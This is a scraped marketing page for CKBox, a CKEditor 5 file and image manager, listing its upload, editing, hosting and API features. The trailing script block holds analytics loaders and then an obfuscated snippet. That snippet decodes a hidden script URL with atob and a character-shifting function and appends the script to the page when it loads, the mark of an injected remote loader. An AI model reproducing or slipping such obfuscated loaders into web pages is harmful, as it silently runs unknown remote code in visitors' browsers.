File uploads in CKEditor
Made easy

Store and organize your files and images in CKBox, and use them easily in CKEditor 5.

A complete solution for handling images in CKEditor

  • Facilitates drag & drop uploads of images and files directly into CKEditor 5.
  • Supports pasting images from clipboard, Word, and Google Docs into CKEditor.
  • Includes an intuitive Image Editor for cropping, resizing, and rotating.
  • Enables the organization of files and images per user, document, or customer through Workspaces.
  • Aids in reusing uploaded images and organizing files efficiently.
  • Ensures the delivery of high-quality responsive images via an ultra-fast CDN.

A central file manager for everyone

On-premises option for self-hosted file management.

SaaS option for hassle-free, maintenance-free usage.

40 official translations to support global user accessibility.

A universal file manager for everyone

  • Customizable categories and tags to organize your files and images.
  • Powerful search feature with multiple filters to quickly find what you need.
  • Increase productivity: easily access recently used files, reuse alt text for images.
  • Accessibility matters: keyboard shortcuts for navigation, WAI-ARIA to support screen readers.
  • View your images and PDF documents in a high-resolution full-page preview.
  • Edit Images without having to launch dedicated software.
  • CRUD - create, rename, update and delete files and folders.

Administration made easy

Each CKBox installation comes with an administration panel visible only to the users you select.

A very optimized <picture>

CKBox makes it easy to use responsive images in your content. Improve SEO and increase conversion by making your site loading much faster.

All methods of uploading files supported by CKEditor 5 are available:

  • Save up to 90% of bandwidth if your application does not yet support responsive images.
  • Save up to 34% of bandwidth vs relying on responsive jpg/png images thanks to using the most modern formats of images.

Full control of your data

Can be run anywhere - Docker Image

  • Install anywhere you like - AWS, Azure, Google Cloud, or your own data center.
  • Run with any Open Container runtime tool e.g. Kubernetes, OpenShift, Podman, Docker and many others.
  • Choose your storage type - S3, Azure Blob Storage, MySQL, Postgres, local filesystem.
  • Scale simply by handling the service configuration and built-in mechanisms.

Save time and resources

With a SaaS subscription, we take care of everything important.

  • Managing the cloud infrastructure to keep it secure and up to date.
  • Performing regular backups of your files.
  • Serving assets via secure and blazing-fast CDN powered by AWS.
  • Automatic scaling according to your needs.
  • Ensuring maximum security and high availability.

Why CKBox?

If you prefer to host CKBox yourself, you can also use the on-premises version.

Customizability

Easily customize the colors of the interface with just two CSS variables; hue and saturation.

Rest API

Build custom automations using unrestricted access to the CKBox REST API.

Detailed (audit) logs

Track of all user actions with Insights panel. Gather, list and filter business (audit) logs.

CKBox works with your favorite frameworks

Native integrations save time and money during implementation.
CKBox supports the most popular frameworks and libraries.

Get started with CKBox now

Trusted and approved by

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = 'info.ckeditor.com'; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });